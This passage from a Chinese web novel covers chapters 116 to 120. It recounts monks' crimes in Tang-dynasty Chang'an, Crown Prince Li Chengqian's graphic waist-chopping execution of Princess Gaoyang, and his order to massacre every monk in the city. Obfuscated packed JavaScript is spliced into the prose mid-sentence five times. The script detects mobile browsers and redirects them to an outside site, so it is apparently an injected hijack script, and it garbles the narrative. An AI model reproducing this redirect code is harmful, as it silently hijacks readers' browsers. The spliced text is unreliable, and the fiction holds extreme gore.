袁天罡的声音再次拔高,尖锐得如同锥子,刺痛着所有人的耳膜,“贞观十四年,京兆府尹接到报案,城东王铁匠之妻,因无力偿还寺庙的‘欢喜债’,被逼悬梁自尽!不良人暗中追查,才发现,这早已不是第一起了!” 他猛地抬起头,双目赤红,死死地盯着城墙上的李世民。 “凡是还不清债务者,男的,被他们打断手脚,扔进黑窑为奴!女的,年轻貌美的,被他们卖入青楼为妓!尚有几分姿色的,竟被那些披着袈裟的禽兽,锁在寺庙的暗室之中,日夜**,充作……充作他们的‘欢喜佛’!” “有儿有女的,更是凄惨!他们会胁迫借贷者,亲手签下**契,将自己的亲生骨肉,卖给那些寺庙!男孩为奴,女孩为娼!” “五年!整整五年!被他们逼死的百姓,不下百人!被他们卖掉的孩童,多达三百!这长安城里,每一座金碧辉煌的寺庙,那鎏金的佛像之下,都埋着累累白骨!都淌着无辜百姓的血泪!” “此为其三,祸国殃民之贼!” 袁天罡一口气说完,身体剧烈地起伏着,要将五脏六腑都咳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253040|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来。 整个玄武门广场,死的寂静。 空气中弥漫的血腥味,在这一刻变得更加浓重。 那不再是禁军和太监的血,而是无数无辜百姓的血。 所有人的呼吸都变得粗重,胸中有一团火在燃烧,要将他们的理智焚烧殆尽。 原来,在他们虔诚叩拜的佛像背后,竟是如此肮脏、如此血腥、如此残忍的真相! 那些慈眉善目的高僧,竟然是一群披着人皮的恶鬼! “妖僧!杀千刀的妖僧!” 不知是谁,在人群中发出第一声怒吼。 紧接着,愤怒如同山洪海啸,瞬间爆发! “杀了他们!杀了这群畜生!” “我三叔家的闺女,就是被会昌寺的和尚骗走的,说是有佛缘,原来……原来是去做‘欢喜佛’了!” “我的天爷啊!我们供奉的香火钱,都变成了他们逼**的刀子!” “杀!杀!杀!” 成千上万的百姓和官兵,挥舞着拳头,脖子上青筋暴起,双目赤红,发出震天的怒吼。 那滔天的恨意,要将整个长安城都掀翻! 满朝文武,一个个脸色铁青。 魏征的身体在发抖,不是因为恐惧,而是因为极度的愤怒。 他身为谏官,以匡正陛下过失为己任,却对如此滔天罪行闻所未闻! 这是他的失职! 更是对天下苍生的辜负! 秦琼紧紧地握住腰间的佩剑,手背上骨节发白。 他想起了那些在战场上死去的袍泽,他们用生命换来的太平盛世,竟然滋养了这样一群吸血的蛆虫! 他们的愤怒在燃烧,但很快,一个更可怕的念头,像一条毒蛇,钻进了所有人的心里。 不良人。 那是天子亲军,是陛下的耳目。 袁天罡所说的这一切,都是不良人查到的。 五年前就查到了,三年前又查到了…… 这些触目惊心的卷宗,必然早就呈放在了陛下的案头。 既然如此…… 刷! 刷! 刷! 一瞬间,所有人的目光,无论是城下的百姓官兵,还是城上的文武百官,都齐齐地、不约而同地,从袁天罡的身上移开,汇聚到了那道孤零零站在城墙上的身影上。 李世民。 大唐的天子。 万民的君父。 他,早就知道这一切。 为什么? 陛下,您为什么不惩处这些妖僧? 第116章 那些披着袈裟的,究竟是些什么东西? 为什么任由他们鱼肉百姓,祸乱朝纲? 那一道道目光,不再带有敬畏和尊崇,而是充满了质问、失望、和…… 被背叛的怨恨。 那目光,比刀剑更锋利,比**更致命。 李世民感觉自己的血液在瞬间凝固了。 他站在城墙上,脚下是万丈深渊,眼前是万民的审判。 他想开口解释,喉咙却像被一只无形的手死死掐住,发不出任何声音。 他能怎么解释? 他能告诉他们,这些道貌岸然的僧侣,每年会以“香火钱”的名义,给他个人的内帑里,送来数以百万计的钱财吗? 他能说,正是靠着这些肮脏的钱,他才能修建华丽的宫殿,才能豢养那些奢侈的后宫,才能维系他天可汗的无上体面吗? 他甚至能说,为了让这笔收入源源不断,他亲自下旨,默许佛门扩张,甚至为了打造一个“万国来朝,佛法东传” 的盛世景象,他还亲自送别那位西行取经的僧人,期盼他带回更多的经文,吸引更多的信徒,聚敛更多的财富吗? 不,他不能说。 一个字都不能说。 说出来,他就不再是那个爱民如子的圣君,而是一个与妖僧同流合污,吸食民脂民膏的无耻**! 他的“贞观之治”,将成为一个彻头彻尾的笑话! 他的英名,他的功绩,他的一切,都将在这一刻,土崩瓦解! 彻骨的寒意,从他的脚底板直冲天灵盖。 他剧烈地颤抖起来,脸色惨白如纸,嘴唇哆嗦着,看着下方那个面无表情的儿子,看着那个亲手将他推上审判台的袁天罡。 他明白了。 李承乾和袁天罡,不是要杀他。 他们,是要诛他的心! 袁天罡动了。 他那枯槁的身躯,在那万众瞩目的城头,缓缓地、郑重地,朝着城下的万千百姓,朝着满朝文武,深深一揖。 这一拜,用尽了他全身的力气,脊梁弯成了弓形,久久没有直起。 空气凝滞了。 时间在这一刻停顿。 “陛下……” 袁天罡的声音再次响起,沙哑,却带着一种泣血悲鸣,响彻玄武门的上空,“您可知,在您看不到的长安城里,那些披着袈裟的,究竟是些什么东西?” 他猛然直起身,双目赤红,枯瘦的手指直指着长安城中那一片片金碧辉煌的寺庙方向。 “那些不是佛寺!是魔窟!是淫窝!” “百姓们倾家荡产,供奉的香火钱,成了他们口中的山珍海味,身上的绫罗绸缎!他们吃的,是百姓的血!喝的,是百姓的泪!” 袁天罡的声音陡然拔高,字字如刀,句句见血。 “城西张铁匠,夫妻二人勤恳半生,攒下薄财,只为给独女置办一份嫁妆。那会昌寺的妖僧,只一句‘你女儿与佛有缘,需入寺中修行,方可为家族积攒功德’,便将人强行掳走!半月之后,送回来的,只是一具衣不蔽体的冰冷尸体!” “城南王秀才,新婚燕尔,其妻虔诚信佛,每月初一十五必去寺中上香。妖僧见其貌美,便以讲经为名,将其诱入禅房……王秀才自觉受辱,悲愤交加,一纸诉状递到京兆府,却被府尹以‘污蔑高僧,有辱佛门’为由,活活打死在公堂之上!” “轰!” 人群彻底炸开了锅! 如果说之前的贪腐敛财,还只是让他们愤怒,那么此刻这活生生的、血淋淋的例子,则彻底点燃了他们心中最原始的恐惧和暴戾! 那不是神佛,那是披着人皮的畜生! 魏征的嘴唇哆嗦着,老泪纵横。 他想起了那个**的王秀才,当初卷宗送到御史台,他只当是寻常的刁民诬告,未曾深究。 原来,在那轻描淡写的几行字背后,竟是这样一桩灭门的**! 他,魏征,有罪! 秦琼的手已经握住了剑柄,手背上青筋暴起,虬结如龙。 他的双眼喷着火,要将那些所谓的“高僧”一个个凌迟处死! 袁天罡没有停下,他的声音愈发悲怆,是在替那些枉死的冤魂控诉。 “不良人奉命查案,找到那些妖僧,他们却在笑!他们在狂笑!” 袁天罡学着那些僧侣的腔调,尖利而嚣张,那副嘴脸,就在众人眼前。 “‘瞎了你们的狗眼!知道我们是谁吗?’” “‘我们是高僧辩机大师的门徒!’” “‘我们是皇家敕建寺院的僧侣!当今圣上都要礼敬三分!’” 辩机! 高阳公主! 这两个名字一出,满朝文武的脸色,瞬间变得无比精彩。 震惊、鄙夷、恍然大悟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253041|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,最后,都化作了对皇家的深深失望。 谁不知道高阳公主和那和尚辩机的丑事? 那几乎是长安权贵圈子里,一个心照不宣的笑话。 他们只当是公主骄纵,皇家风流,却万万没想到,这桩丑闻的背后,竟牵扯出如此滔天的罪恶! 袁天罡的目光,如同一把最锋利的锥子,死死地钉在李世民的身上。 “他们甚至还敢高呼!” “‘高阳公主殿下,日日来我寺中礼佛!你们敢动我们一根汗**试试?’” 这句话,如同一记响亮的耳光,狠狠地抽在了李世民的脸上。 他感觉自己的脸颊在火辣辣地疼。 高阳,他的亲生女儿! 他最宠爱的女儿! 他一直都知道她和辩机的私情,为了皇家的颜面,他选择了隐忍和遮掩。 他甚至觉得,这不过是女儿家的一时胡闹,无伤大雅。 可他从来不知道,他的纵容,他的默许,竟然成了那些妖僧为非作歹、鱼肉百姓的护身符! 他养的不是一个公主,他养的是一头庇护妖魔的恶兽! “陛下!” 袁天罡的声音如同惊雷,在李世民耳边炸响,“一个与妖僧私通的公主!一座藏污纳垢的**佛寺!一群强抢民女、草菅人命的恶棍!” “他们用您的名义,用皇家的威严,犯下桩桩血案!罪行累累,罄竹难书!” “高阳公主,庇护妖僧,罪大恶极!” 袁天罡每说一句,李世民的脸色就白一分。 到最后,他已经面无人色,身体摇摇欲坠,一阵风就能将他吹倒。 他想反驳,想怒斥袁天罡一派胡言。 可他张了张嘴,却发现一个字都说不出来。 因为袁天罡说的,全都是真的! 那些不良人呈上来的卷宗里,写得比这更详细,更触目惊心! 他都看过! 他全都知道! 只是他为了那可笑的皇家颜面,为了他那个宝贝女儿,亲手将那些血泪写成的状纸,压在了箱底,让它们不见天日! 这一刻,他终于明白,李承乾和袁天罡,不是要他的命。 他们是在用这些罪孽,一刀一刀,凌迟他的心,诛灭他的魂! 将他钉在历史的耻辱柱上,永世不得翻身! 第117章 腰斩高阳公主 “噗——”腥甜的液体猛地从喉头涌上,李世民再也压抑不住,一口鲜血喷了出来,染红了面前的城墙。 他眼前的世界,开始天旋地转。 那万千百姓和文武百官的脸,在他眼中变得模糊而扭曲,他们不再是他的子民,他的臣子,而是一个个前来索命的恶鬼。 而那个站在所有人之前的,面无表情的儿子,李承乾。 他的脸,是那么的清晰。 那双幽深的眸子,就像两口不见底的寒潭,冷冷地看着他,没有波澜,没有温度。 在看一个,**。 李世民的身体晃了晃,像一棵被狂风吹撼的老树,随时都会倒下。 他身边的内侍惊慌失措地想要上前搀扶,却被一道冰冷的视线钉在原地。 李承乾。 他甚至没有看一眼自己呕血的父亲。 他的目光,越过摇摇欲坠的李世民,越过噤若寒蝉的文武百官,落在了那万千百姓身上。 他的声音不大,却像一把淬了寒冰的刀,清晰地割过每个人的耳膜。 “将高阳公主,带上来。” 话音落地,人群中一阵骚动。 大唐禁军如狼似虎地分开人群,两个甲士架着一个衣着华丽、满脸惊惶的女人,粗暴地拖到了城墙之下。 正是高阳公主。 她平日里那份皇室贵胄的骄矜与傲慢,此刻已荡然无存。 她的发髻散乱,金钗斜插,华美的宫裙在地上拖出一道狼狈的泥痕。 她看到了城墙上那个面无表情的兄长,又看到了不远处吐血颓然的父亲。 一种前所未有的恐惧,像冰冷的毒蛇,瞬间缠住了她的心脏,让她浑身发抖,牙关打颤。 “皇兄……父皇……” 她的声音细若蚊蚋,带着哭腔,“你们……你们要做什么?” 李承乾的眼神没有丝毫温度,他在看一个与自己毫不相干的死物。 他缓缓抬起手,指向高阳,声音里的森寒之意,让整个长安城头的空气都为之凝固。 “高阳,你可知罪?” “我……我何罪之有!” 高阳公主尖叫起来,色厉内荏地辩解,“我是大唐的公主!我……” “闭嘴!” 李承乾一声断喝,如同晴天霹雳,“你庇护妖僧,纵容他们鱼肉乡里,强抢民女!你用父皇赐予你的尊荣,为你那姘头辩机,打造了一座人间地狱!你还敢问自己何罪之有?” 他猛地一挥手,声音斩钉截铁。 “来人!” “将罪妇高阳,就地腰斩!” “以儆效尤!以慰民心!” “腰……腰斩?” 高阳公主的眼睛猛地瞪大,血色从脸上瞬间褪尽,变得如**般惨白。 她不敢相信自己的耳朵,整个人瘫软下去,若不是被两个禁军架着,早已成了一滩烂泥。 不! 不可能是真的! 她是父皇最宠爱的女儿! 她是金枝玉叶的公主! 腰斩…… 那种只用于十恶不赦的罪囚的酷刑,怎么可能用在她的身上! “不!皇兄!我错了!我真的错了!你饶了我吧!” 高阳公主彻底崩溃了,她涕泪横流,拼命挣扎,“父皇!救我!父皇救我啊!” 她望向城墙上的李世民,可那个曾经能为她摘星揽月的父亲,此刻却只是用一种混杂着痛苦、失望和绝望的眼神看着她,嘴唇翕动,却发不出半点声音。 他救不了她。 或者说,他不敢救。 整个长安的百姓,满朝的文武,都在看着。 他们对佛门的怒火,对高阳的憎恨,已经汇成了一片沉默的海洋,足以淹没一切求情的声音。 就在这时,人群中冲出一人,披头散发,衣甲不整,连滚带爬地扑到李承乾的马前,砰砰地磕头。 是驸马都尉,房遗爱。 他脸色惨白,嘴唇哆嗦,看着即将被拖向铡刀的妻子,眼中充满了恐惧和绝望。 “殿下!殿下开恩啊!” 房遗爱哭喊着,声音嘶哑,“公主她只是一时糊涂!她罪不至死啊!殿下,求求您,饶了她这一次吧!” “要杀……要杀就先杀我房遗爱!一切都是我的错!是我没有管教好公主!求殿下赐我一死,放过高阳吧!” 他将头重重地磕在冰冷的石板上,血顺着额头流了下来。 满朝文官中,房玄龄站在前排,看着自己那不成器的儿子,身体剧烈地颤抖着。 他的嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253042|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唇紧紧抿成一条线,浑浊的老眼中,是无尽的痛苦与挣扎。 他想开口,却发现喉咙里堵了一块烧红的烙铁,一个字也吐不出来。 他知道,完了。 一切都完了。 李承乾居高临下地俯视着涕泗横流的房遗爱,嘴角勾起一抹冰冷的弧度,那弧度里没有笑意,只有无尽的嘲弄和残忍。 “威胁孤?” 他的声音很轻,却像一根**,刺入房遗爱的心里。 “孤,从来不怕威胁。” 他顿了顿,在欣赏房遗爱脸上那瞬间凝固的绝望表情,然后,他用一种近乎愉悦的语调,说出了让所有人毛骨悚然的话。 “你不是想替她死吗?” “你不是爱她爱到可以同生共死吗?” “好啊!老子今天就成全你们!” 李承乾的声音陡然拔高,如同恶鬼的咆哮,响彻云霄! “来人!将高阳给孤即刻腰斩!” “把房遗爱的眼睛给孤撬开了,让他给老子好好看着!看清楚他心爱的公主,是怎么在孤的铡刀下,断成两截的!” “诺!” 大唐禁军山呼海啸回应,震得城墙都在嗡嗡作响。 “不——!” 房遗爱发出一声不似人声的凄厉惨叫。 他想扑过去,却被两个禁军死死按在地上,动弹不得。 他们真的用粗糙的手指,强行撑开了他的眼皮,让他只能眼睁睁地看着。 高阳公主已经被拖到了那具散发着铁锈和血腥味的巨大铡刀前。 她疯了一样地挣扎,尖叫,咒骂,求饶。 “李承乾!你这个疯子!你会遭报应的!” “我是你妹妹啊!亲妹妹!” “放开我!你们这群狗奴才!放开我!” 然而,一切都是徒劳。 禁军士卒面无表情,他们的动作精准而高效,已经演练了千百遍。 一人按住她的上半身,另一人压住她的双腿,将她那纤细柔软的腰肢,死死地固定在了铡刀冰冷的刃口之下。 高阳能感觉到那刀刃上传来的刺骨寒意,透过华贵的丝绸,冻结了她的血液。 她看到了房遗爱那张被强行撑开眼皮、布满血丝和泪水的绝望脸庞。 第118章 玄武门变修罗场! 她看到了文武百官那一张张冷漠、鄙夷、甚至暗藏快意的脸。 她最后看到了城墙上,那个她称之为“兄长”的男人。 李承乾的脸上,依旧是那片死寂的冰原,没有半分动容。 他只是冷冷地看着,在欣赏一出早就写好了剧本的戏剧。 “不……” 绝望的呢喃,从高阳的喉咙里挤出。 为时已晚。 刽子手高高举起了沉重的刀柄。 阳光照在雪亮的刀刃上,反射出刺目的寒芒,晃花了所有人的眼。 时间在这一刻被拉成了粘稠的糖浆,缓慢,而又令人窒息。 刽子手的肌肉高高贲起,手臂上的青筋如同一条条盘踞的恶龙。 他双目圆睁,口中发出一声野兽爆喝,用尽全身的力气,将沉重的刀柄猛然压下! “咔嚓!” 一声令人牙酸的脆响,盖过了所有的尖叫与哭嚎。 那不是金铁交击的声音,而是骨骼与脏器被瞬间斩断的闷响。 高阳公主那华美的宫装,连同她纤细的腰肢,被那道无情的寒芒一分为二。 鲜血,如同决堤的洪水,从断口处喷涌而出。 温热的液体溅满了铡刀,染红了冰冷的石板,也溅在了按着她的那两个禁军士卒的脸上。 他们面无表情地松开手,任由那两截尚在微微抽搐的身体滚落在地。 上半身,那张曾经美艳娇纵的脸庞上,双眼大睁,瞳孔已经涣散,嘴巴还保持着最后一声无声的尖叫。 下半身,那双穿着精致绣鞋的脚,还神经质地蹬了两下,然后便彻底不动了。 浓郁的血腥味和内脏的腥臭味,瞬间弥漫开来,冲入每个人的鼻腔。 玄武门前,死的寂静。 所有人都被这血腥残暴的一幕震慑住了。 连风,都停止了流动。 “啊——啊啊啊啊——!” 撕心裂肺的嚎叫打破了这片死寂。 房遗爱整个人被抽走了骨头,瘫软在地上。 被强行撑开的眼皮下,两行血泪滚滚而下。 他亲眼看着,他爱了一生的女人,那个会对他撒娇、对他发脾气、也曾对他展露过温柔笑颜的女人,就这样,变成了一滩模糊的血肉。 他的喉咙里发出嗬嗬的怪响,濒死的野兽。 他拼命地挣扎,用头去撞击地面,额头上的伤口再次裂开,鲜血和泥土混在一起,让他看起来如同地狱里爬出的恶鬼。 “高阳……高阳……” 他一遍遍地呢喃着,声音嘶哑破碎,每一个字都带着血。 城墙之上,李承乾静静地看着下方那滩烂肉,看着那个在地上翻滚哀嚎的男人。 他的脸上没有任何表情,刚刚被腰斩的不是他的亲妹妹,而是一只无关紧要的牲畜。 他缓缓地将目光,从高阳公主的尸体上,移到了房遗爱的脸上。 那双深邃的眸子里,终于有了情绪的波动。 不是悲伤,不是怜悯,而是一种冰冷的,带着残忍快意的审视。 他要看的,就是这个。 就是房遗爱此刻的痛苦,此刻的绝望,此刻的生不如死。 “孤,就是让你心痛。” 李承乾的声音不高,却清晰地传入了每一个人的耳朵里,也像一把淬毒的**,精准地捅进了房遗爱的心脏。 “孤倒要看看,你能悲痛到什么地步!” 房遗爱猛地抬起头,那双充血的眼睛死死地盯着城墙上的李承乾,充满了无尽的怨毒和仇恨。 如果眼神可以**,李承乾早已被千刀万剐。 可李承乾只是冷漠地与他对视,甚至连眉毛都没有动一下。 这点恨意,对他来说,不过是清风拂面。 他要的,是更深的绝望。 他的目光扫过那群被禁军团团围住,脸色煞白的僧兵。 他们是高阳公主的追随者,是她豢养的打手,也是她谋逆的爪牙。 此刻,他们手中的禅杖和戒刀掉在地上,一个个抖如筛糠。 为首的辩机和尚,那个和高阳在床榻之上翻云覆雨的男人,此刻更是面无人色,嘴唇哆嗦着,连一句完整的话都说不出来。 “怎么?这就怕了?” 李承乾的声音里带着嘲弄,“刚才跟着公主殿下**的时候,你们的胆子不是很大吗?” 他没有给任何人反应的时间,手臂猛然一挥,声音如同来自九幽地狱的敕令。 “来人!” “将这些妖僧,一个不留,全部给孤就地斩首!” “孤要让这玄武门外,血流成河!” “诺!” 大唐禁军的战刀再次出鞘,雪亮的刀光连成一片,杀气冲天。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253043|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这一下,那些僧兵们彻底崩溃了。 死亡的恐惧瞬间攫住了他们的心脏。 “不!太子殿下饶命!饶命啊!” “我们是被高阳公主蛊惑的!我们是无辜的!” “我不想死!我不想死啊!” 求饶声,哭喊声,尖叫声,响成一片。 刚才还自诩佛门高徒,一个个宝相庄严的僧人,此刻彻底撕下了伪装。 他们扔掉了一切尊严,有的跪地磕头,磕得头破血流;有的屁滚尿流,转身就想逃跑;还有的甚至拿起武器,试图做最后的困兽之斗。 但是,一切都晚了。 包围他们的,是身经百战的大唐禁军。 面对这些已经吓破了胆的僧兵,他们就经验丰富的屠夫,面对一群待宰的羔羊。 “噗嗤!” 手起,刀落。 一颗硕大的光头冲天而起,脖颈处喷出的血柱高达数尺。 无头的尸体晃了两下,轰然倒地。 这只是一个开始。 禁军士卒们组成了一道钢铁的墙壁,面无表情地向前推进。 他们手中的横刀,化作了最高效的屠戮机器。 “噗!” “噗!” “噗!” 刀锋入肉的声音,不绝于耳。 一颗又一颗的人头滚落在地,表情各异,有的惊恐,有的错愕,有的茫然。 鲜血汇聚成溪,染红了僧袍,染红了土地。 辩机和尚被两名禁军死死按在地上,他眼睁睁地看着自己身边的同门一个个倒下,温热的血液溅在他的脸上,他吓得魂飞魄散,裤裆里一片湿热,腥臊的液体顺着大腿流了一地。 “魔鬼……你是魔鬼……” 他看着城墙上的李承乾,发出了绝望的呓语。 李承乾只是冷眼看着。 魔鬼? 或许吧。 在这**的皇权斗争中,不变成魔鬼,就会被魔鬼吃掉。 他就是要用这最血腥,最直接的方式,告诉所有人。 告诉房遗爱,告诉满朝文武,告诉天下所有心怀不轨的人。 他李承乾,回来了。 那个温良恭俭让的太子,已经**。 活下来的,是一个睚眦必报,心狠手辣的复仇者。 玄武门外,已经变成了修罗场。 第119章 孤要这长安城,再也听不见一声梵唱! 数百名僧兵,在极短的时间内被屠戮殆尽。 无头的尸体横七竖八地倒在血泊之中,滚落的人头到处都是,场面骇人到了极点。 血,汇聚成了溪流,顺着地势缓缓流淌,将整个玄武门前的广场都染成了触目惊心的暗红色。 空气中,浓烈的血腥味刺鼻欲呕。 房玄龄站在百官之中,看着眼前这地狱般的景象,看着不远处那两截残缺不全的尸体,再看看那个如同疯魔般的儿子,他那佝偻的身体晃了晃,眼前一黑,一口气没上来,直挺挺地向后倒去。 “司空大人!” 身边的同僚惊呼着将他扶住,才没让他摔倒在地。 而房遗爱,已经停止了嚎叫。 他只是跪坐在那片血污之中,痴痴地看着高阳公主的尸体,双目空洞,没有任何焦距。 仿佛他的灵魂,已经随着那当头一刀,一同被斩碎了。 整个世界,都在他眼前崩塌,碎裂,化为一片血色的虚无。 李承乾将这一切尽收眼底,他的心,没有丝毫融化的迹象。 他就是要让房遗爱看着,看着他所爱的一切被毁灭。 他就是要让房玄龄这个老狐狸知道,背叛自己,需要付出怎样惨痛的代价。 痛苦吗? 这就对了。 孤的痛苦,你们要百倍、千倍地偿还! 李承乾的目光,从房玄龄苍白的脸上,挪到了房遗爱空洞的双眸上,最后落在了那堆分不清是肉泥还是骨渣的残骸之上。 他的嘴角,似乎想往上扯一下,却又凝固了。 痛? 还不够。 这点痛,怎能与孤在东宫日夜承受的煎熬相比? 他缓缓转身,面向玄武门下那群噤若寒蝉的文武百官。 所有人都低着头,不敢与他对视。 他们感受到的,不再是昔日温和太子的目光,而是一头择人而噬的猛兽,在巡视自己的领地。 一名内侍官躬着身子,双手捧着一卷黄色的丝帛,战战兢兢地递了上来。 李承乾接过丝帛,展开。 他的声音,不大,却一下下敲在每个人的心上。 那声音里没有愤怒,没有激动,只有一种死水般的平静,平静得让人毛骨悚然。 “奉天承运,太子诏曰:” 每一个字,都清晰地传遍了这片血腥的广场。 “长安妖僧,以佛法为名,行苟且之事。**宫闱,败坏人伦,此其罪一。” 他顿了顿,目光扫过辩机那张已经毫无血色、只剩下屎尿臭气的脸。 “私设公堂,圈养僧兵,目无王法,此其罪二。” “兼并土地,欺压良善,令百姓流离失所,此其罪三。” “私放印子钱,利滚利,血债累累,逼良为娼,家破人亡者不计其数,此其罪四。” 他的声音陡然拔高,带着不容置疑的决绝。 “罪大恶极,罄竹难书!今证据确凿,天下共鉴!” 说罢,他将手中的丝帛猛地一甩,那明黄的卷轴在空中划过一道弧线,飘飘荡荡,最终落在了一片粘稠的血泊之中,瞬间被染成了暗红色。 “辩机妖僧,死有余辜!” 李承乾的声音再次响起。 “然,佛门藏污纳垢,岂止辩机一人?” 他的话,让所有官员的心都提到了嗓子眼。 他们隐约感觉到,太子要做一件惊天动地的大事。 果然,李承乾的目光转向了身侧那位身披重甲的禁军将领,那双眼睛里,是化不开的墨色。 “末将在!” 单膝跪地,铠甲发出沉闷的碰撞声。 “传孤王令!” 李承乾的声音,在玄武门城楼上空回荡,每一个字都带着血腥味。 “大唐禁军,即刻出动!” 猛地抬头,眼中闪过惊愕,但随即被绝对的服从所取代。 “封锁长安城一百零八坊,所有寺庙,但凡见剃度僧侣,一个不留!” “格!杀!勿!论!” 最后四个字,他几乎是一字一顿地从牙缝里挤出来的。 “孤要这长安城,再也听不见一声梵唱!” “孤要这朗朗乾坤,再也容不下一尊伪佛!” 轰! 百官脑中一片空白。 疯了! 太子殿下彻底疯了! 屠戮僧兵,已是骇人听闻。 现在,他竟要血洗长安城所有的寺庙? 那可是数以万计的僧侣啊! 魏征那张素来古板的脸上,第一次露出了惊骇欲绝的神情,他张了张嘴,想要出言劝谏,却发现自己的喉咙干涩得发不出声音。 他看着城楼上那个孤绝的背影,只觉得无比陌生。 这不是他看着长大的那个太子。 这是一个从地狱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253044|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爬回来的复仇恶鬼! “末将……领命!” 李君羡的声音嘶哑而坚定。 他没有丝毫犹豫,猛然起身,拔出腰间的横刀,高高举起。 “太子有令!” “禁军!出动!” “吼!” 玄武门下,数千名刚刚结束**,身上还沾着温热血液的禁军士卒,齐齐发出一声震天的咆哮。 那咆哮声中,没有仁慈,没有怜悯,只有嗜血的兴奋和绝对的服从。 “咚!咚!咚!” 沉重而整齐的脚步声传来。 原本静默的禁军阵列,瞬间活了过来。 他们转身,汇聚成钢铁的洪流,朝着长安城内涌去。 玄武门那巨大的门洞,仿佛一张吞噬一切的巨兽之口。 数千名身披玄甲、手持横刀的士卒,带着一身的煞气和血腥,从这张巨口中奔腾而出。 他们的铁靴踏在青石板路上,发出的声音密集得让人心脏都要停止跳动。 整个长安城,都在这雷鸣般的脚步声中剧烈地颤抖起来。 城中的百姓们,刚刚还在为玄武门方向传来的动静而惴惴不安,此刻,他们惊恐地推开窗户,打开门缝。 他们看见了。 他们看见了那支传说中守护皇城、从不动摇的军队,冲进了长安的街巷。 那面绣着“唐”字的黑色大旗,在风中猎猎作响,旗帜下的每一张脸,都冷硬如铁。 士兵们的铠甲上,血迹未干。 他们手中的横刀,刀刃上还挂着血珠,在午后的阳光下,闪烁着妖异的红光。 “天啊!那是什么?” “是禁军!禁军出城了!” “他们要去哪里?发生什么事了?” 恐慌,在人群中蔓延。 人们尖叫着,奔跑着,拼命地关上自家的门窗,用门栓死死顶住。 一时间,街道上鸡飞狗跳,哭喊声、叫骂声、门板撞击声响成一片。 繁华热闹的长安城,在这一刻,仿佛变成了人间地狱。 禁军的洪流,没有丝毫停歇。 他们兵分多路,沿着朱雀大街,冲向城南的各个里坊。 他们的目标明确——那些平日里香火鼎盛、接受万民供奉的寺庙。 大慈恩寺、青龙寺、荐福寺…… 一座座宏伟的寺院,转眼间就被这股黑色的洪流所包围。 第120章 后悔?来不及了! “砰!” 荐福寺那扇厚重的朱漆山门,被数名士卒用攻城锤狠狠撞开。 守门的知客僧还没反应过来,就被一刀枭首。 鲜血,第一次染红了这片清净的佛门之地。 寺内的僧侣们听闻巨响,纷纷从禅房、经堂中跑出,他们惊愕地看着杀气腾腾涌入的禁军,脸上写满了难以置信。 “阿弥陀佛!各位军爷,此乃佛门清净地,你们……” 一名老僧颤巍巍地走上前,想要讲理。 回答他的,是一柄冰冷的横刀。 “噗嗤!” 刀锋划过脖颈,老僧的话语戛然而止,圆睁的双目中,还残留着最后的错愕。 杀戮,开始了。 既然太子说了,天下无僧。 那他李承乾,便说到做到! 玄武门城楼上,李承乾负手而立,静静地俯瞰着这座陷入混乱与血腥的城市。 风,吹动着他的衣袍,发出烈烈声响。 他的身后,是瘫软在地的房遗爱,是昏死过去的房玄龄,是面如死灰的文武百官。 而他的眼前,是他亲手掀起的滔天巨浪。 这,仅仅只是开始。 与长安城南那些瞬间被血与火吞噬的寺院不同,位于西北金城坊的会昌寺,此刻依旧笼罩在一片祥和的佛光之中。 